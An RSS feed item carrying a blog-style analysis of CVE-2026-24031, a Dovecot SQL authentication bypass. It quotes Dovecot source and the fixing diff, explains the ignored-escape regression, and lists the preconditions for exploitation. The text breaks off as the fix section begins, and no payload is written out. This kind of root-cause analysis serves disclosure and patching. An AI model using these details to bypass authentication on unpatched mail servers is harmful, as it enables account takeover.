<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GUIDANCE WHITE</title>
    <description>The latest articles on DEV Community by GUIDANCE WHITE (@guidance_white).</description>
    <link>https://dev.to/guidance_white</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4012932%2F1351cb58-618f-4322-9211-adf9506ecbad.png</url>
      <title>DEV Community: GUIDANCE WHITE</title>
      <link>https://dev.to/guidance_white</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guidance_white"/>
    <language>en</language>
    <item>
      <title>CVE-2026-24031 Analysis — Dovecot SQL-Based Authentication Bypass (an auth_username_chars Regression)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 02 Sep 2026 07:41:58 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-24031-analysis-dovecot-sql-based-authentication-bypass-an-authusernamechars-603</link>
      <guid>https://dev.to/guidance_white/cve-2026-24031-analysis-dovecot-sql-based-authentication-bypass-an-authusernamechars-603</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqj2jmtdxqfaqe52egb1q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqj2jmtdxqfaqe52egb1q.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-24031&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Dovecot Core (SQL passdb/userdb authentication)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;CWE-89 (SQL Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;7.7 (High) — &lt;code&gt;AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;OX Dovecot CE core 2.4.0–2.4.2, OX Dovecot Pro core 3.1.0–3.1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;CE core &lt;strong&gt;2.4.3&lt;/strong&gt;, Pro core &lt;strong&gt;3.1.4&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal tracking ID&lt;/td&gt;
&lt;td&gt;DOV-8781&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery / disclosure&lt;/td&gt;
&lt;td&gt;2026-02-23 / 2026-03-27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discoverer&lt;/td&gt;
&lt;td&gt;whisperer (YesWeHack)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Dovecot's official security advisory (OXDC-2026-0001) summarizes it in one line:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Dovecot SQL based authentication can be bypassed when &lt;code&gt;auth_username_chars&lt;/code&gt; is cleared by admin. This vulnerability allows bypassing authentication for any user and user enumeration.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read at face value it sounds like a pure configuration mistake, but the actual root cause is a &lt;strong&gt;regression introduced during the 2.4 settings-system refactor, where an explicitly-requested SQL escape function is silently discarded&lt;/strong&gt;. &lt;code&gt;auth_username_chars&lt;/code&gt; being cleared is only the precondition that lets the bug get triggered in practice.&lt;/p&gt;

&lt;p&gt;This post is based on a direct clone of the dovecot/core repository, comparing the vulnerable (2.4.2) and patched (2.4.3) source to trace the actual root cause.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Background — what auth_username_chars actually does
&lt;/h2&gt;

&lt;p&gt;Dovecot reuses the username a client supplies at login in several places — SQL/LDAP queries, file paths (&lt;code&gt;%u&lt;/code&gt;, &lt;code&gt;%n&lt;/code&gt;, &lt;code&gt;%d&lt;/code&gt; variable substitution), and more. &lt;code&gt;auth_username_chars&lt;/code&gt; is the first line of defense against dangerous characters ending up in those places.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default value in &lt;code&gt;src/auth/auth-settings.c&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username_chars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By default only letters, digits, and &lt;code&gt;.&lt;/code&gt; &lt;code&gt;-&lt;/code&gt; &lt;code&gt;_&lt;/code&gt; &lt;code&gt;@&lt;/code&gt; are allowed. SQL metacharacters like a single quote (&lt;code&gt;'&lt;/code&gt;) or semicolon are not part of the whitelist at all.&lt;/p&gt;

&lt;p&gt;That string is converted into a 256-byte bitmap (&lt;code&gt;username_chars_map&lt;/code&gt;) with a special case worth noting:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;src/auth/auth-settings.c&lt;/code&gt; (around lines 623–630):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* all chars are allowed */&lt;/span&gt;
    &lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
           &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In other words, setting &lt;code&gt;auth_username_chars&lt;/code&gt; to an &lt;strong&gt;empty string doesn't mean "no characters allowed" — it means the exact opposite: "allow every byte (0x00–0xFF)."&lt;/strong&gt; Admins sometimes clear this setting in practice to support wide/unicode usernames, and the moment they do, the first-line filter against SQL metacharacters disappears completely.&lt;/p&gt;

&lt;p&gt;The actual filtering happens where &lt;strong&gt;&lt;code&gt;auth_request_fix_username()&lt;/code&gt; in &lt;code&gt;src/auth/auth-request-fields.c&lt;/code&gt;&lt;/strong&gt; checks that map:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_translation_map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_translation_map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;error_r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;t_strdup_printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Username character disallowed by auth_username_chars: "&lt;/span&gt;
            &lt;span class="s"&gt;"0x%02x (username: %s)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;str_sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;username_chars_map&lt;/code&gt; is filled with 1s across the board, this check effectively rejects nothing. Up to this point we're still in "admin misconfiguration" territory. The real problem is what happens next.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. How the SQL query gets built — passdb-sql.c
&lt;/h2&gt;

&lt;p&gt;An SQL passdb builds its query string (e.g. &lt;code&gt;SELECT username, password FROM users WHERE username = '%u'&lt;/code&gt;) by expanding variables like &lt;code&gt;%u&lt;/code&gt; (username) inside the configured &lt;code&gt;passdb_sql_query&lt;/code&gt; template. To prevent SQL injection, the substituted value must always go through SQL escaping.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;src/auth/passdb-sql.c&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;passdb_sql_escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;output_r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                             &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;error_r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sql_db&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;sql_escape_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;error_r&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;sql_lookup_pass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;passdb_sql_request&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;settings_get_params&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;escape_func&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;passdb_sql_escape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;escape_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_get_params&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authdb_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;passdb_sql_setting_parser_info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;e_debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authdb_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="s"&gt;"query: %s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;auth_request_ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;sql_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sql_query_callback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first glance this looks correct. &lt;code&gt;settings_get_params()&lt;/code&gt; is called with an explicit &lt;code&gt;escape_func = passdb_sql_escape&lt;/code&gt;, and that function calls the underlying DB driver's &lt;code&gt;sql_escape_string()&lt;/code&gt; (MySQL/PostgreSQL/SQLite) to properly escape quotes and the like. &lt;code&gt;settings.h&lt;/code&gt; even documents the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;settings_get_params&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* If non-NULL, all %variables are escaped with this function. */&lt;/span&gt;
    &lt;span class="n"&gt;var_expand_escape_func_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;escape_func&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;"If non-NULL, it is guaranteed to be used for escaping"&lt;/strong&gt; — except that contract wasn't actually being honored.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The real root cause — an escape_func override bug in settings.c
&lt;/h2&gt;

&lt;p&gt;The bug isn't in &lt;code&gt;passdb-sql.c&lt;/code&gt; at all — it's one layer down, in &lt;code&gt;settings_var_expand_init()&lt;/code&gt; inside &lt;code&gt;src/lib-settings/settings.c&lt;/code&gt;. Dovecot's settings system can receive a var-expand escape function from two places:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;explicit&lt;/strong&gt; &lt;code&gt;escape_func&lt;/code&gt; a caller passes into &lt;code&gt;settings_get_params()&lt;/code&gt; (e.g. &lt;code&gt;passdb_sql_escape&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;default escape callback registered somewhere up the event hierarchy&lt;/strong&gt; (&lt;code&gt;init_ctx.escape_func&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The vulnerable 2.4.0–2.4.2 code &lt;strong&gt;unconditionally used option 2&lt;/strong&gt;, no matter what the caller passed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Patch commit &lt;code&gt;34fbd3956d&lt;/code&gt; diff (&lt;code&gt;src/lib-settings/settings.c&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;    ctx-&amp;gt;var_params.tables_arr = array_front(&amp;amp;init_ctx.tables);
    ctx-&amp;gt;var_params.providers_arr = array_front(&amp;amp;init_ctx.providers);
    ctx-&amp;gt;var_params.contexts = array_front(&amp;amp;init_ctx.contexts);
&lt;span class="gd"&gt;-   ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
-   ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
&lt;/span&gt;&lt;span class="gi"&gt;+   if (ctx-&amp;gt;escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx-&amp;gt;var_params.escape_func = ctx-&amp;gt;escape_func;
+       ctx-&amp;gt;var_params.escape_context = ctx-&amp;gt;escape_context;
+   } else {
+       ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
+       ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
+   }
&lt;/span&gt;    ctx-&amp;gt;var_params.event = ctx-&amp;gt;event;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So even though &lt;code&gt;passdb-sql.c&lt;/code&gt; explicitly requests &lt;code&gt;escape_func = passdb_sql_escape&lt;/code&gt;, the actual variable-substitution step &lt;strong&gt;silently discarded it&lt;/strong&gt; and used whatever (unrelated, or absent) escape function the event chain happened to expose instead. The net effect: the username value substituted for &lt;code&gt;%u&lt;/code&gt; could end up &lt;strong&gt;not escaped at all, or escaped incorrectly&lt;/strong&gt;, for SQL.&lt;/p&gt;

&lt;p&gt;This bug was introduced by the 2024 commit &lt;code&gt;ef0c63b6&lt;/code&gt; ("auth: passdb/userdb sql - Convert to new settings"), a large refactor that moved SQL passdb/userdb onto the new settings framework. The Dovecot developers themselves flag it in the commit log as a "v2.4 regression."&lt;/p&gt;

&lt;p&gt;The same class of bug also produced a sibling CVE in the LDAP passdb (CVE-2026-27860, LDAP filter injection) — both trace back to the same &lt;code&gt;settings_var_expand_init()&lt;/code&gt; defect.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Full attack chain
&lt;/h2&gt;

&lt;p&gt;Two conditions have to line up for real exploitation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Precondition A&lt;/strong&gt;: An admin has set &lt;code&gt;auth_username_chars&lt;/code&gt; to an empty string (disabling the character whitelist)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Root cause B&lt;/strong&gt;: The &lt;code&gt;settings_var_expand_init()&lt;/code&gt; bug that ignores &lt;code&gt;passdb_sql_escape&lt;/code&gt; — present in every 2.4.0–2.4.2 / 3.1.0–3.1.3 install regardless of configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The CVSS vector's &lt;code&gt;AC:H&lt;/code&gt; (high attack complexity) reflects the fact that condition A has to be true.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiibikk62ri4u3h5hkkdm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiibikk62ri4u3h5hkkdm.png" alt=" " width="800" height="966"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/jM7_DM3J8hc" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  6. The actual fix (v2.4.3)
&lt;/h2&gt;

&lt;p&gt;The core patch is the priority reordering inside &lt;code&gt;settings_var_expand_init()&lt;/code&gt; shown above.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
